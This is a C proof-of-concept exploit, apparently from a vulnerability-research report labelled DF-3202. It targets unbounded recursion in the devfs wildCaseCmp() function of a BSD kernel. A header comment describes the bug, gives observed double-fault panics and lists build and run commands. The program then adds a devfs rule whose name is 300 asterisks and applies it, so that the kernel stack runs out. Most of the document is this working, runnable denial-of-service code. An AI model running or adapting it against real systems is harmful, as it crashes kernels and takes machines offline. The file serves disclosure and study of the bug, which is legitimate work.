DF-3202 / star_rec.c
/* * DF-3202 - wildCaseCmp() unbounded recursion: kernel stack exhaustion from * a star-heavy rule name (no memory-safety bug involved). * * wildCaseCmp() (sys/vfs/devfs/devfs_core.c:2875) recurses once per '*'' * encountered ("less-optimal" branch at :2902-2903); the compiled frame is * 80 bytes (objdump: push rbp + 5 regs + sub $0x18 + ret). A DEVFS_RULE_NAME * rule whose name is a few hundred '*'s therefore recurses a few hundred * frames deep inside devfs_rule_checkname() during DEVFS_RULE_APPLY -- * on the devfs core thread -- exhausting the kernel stack. Observed live: * rule names of ~95 stars already double-fault on the devfs core thread; * 252 stars (from the DF-3200 control pattern) crashed likewise: * * Fatal double fault, rip = wildCaseCmp+6 (push %r15) * panic: double fault * * A PERM rule suffices (checkname runs for NAME rules regardless of cmd); * matching every node ("***...*" matches everything) maximizes the chance. * * Build: cc -static -O -o star_rec star_rec.c * Run : ./star_rec (as root; expect double fault panic) */ #include <sys/ioctl.h> #include <limits.h> #include <sys/devfs_rules.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <err.h> int main(void) { struct devfs_rule_ioctl r; int fd, i; fd = open("/dev/devfs", O_RDWR); if (fd < 0) err(1, "open /dev/devfs"); memset(&r, 0, sizeof(r)); r.rule_type = DEVFS_RULE_NAME; r.rule_cmd = DEVFS_RULE_PERM; /* any cmd; checkname still runs */ r.mode = 0666; strlcpy(r.mntpoint, "*", sizeof(r.mntpoint)); for (i = 0; i < 300; i++) /* 300 stars -> ~300 recursive frames */ r.name[i] = '*'; r.name[300] = '\0'; if (ioctl(fd, DEVFS_RULE_ADD, &r) < 0) err(1, "DEVFS_RULE_ADD"); memset(&r, 0, sizeof(r)); strlcpy(r.mntpoint, "*", sizeof(r.mntpoint)); printf("issuing DEVFS_RULE_APPLY '*' with 300-star name " "-- expect wildCaseCmp stack exhaustion\n"); fflush(stdout); if (ioctl(fd, DEVFS_RULE_APPLY, &r) < 0) err(1, "DEVFS_RULE_APPLY"); sleep(5); printf("SURVIVED (no panic)\n"); return 0; } |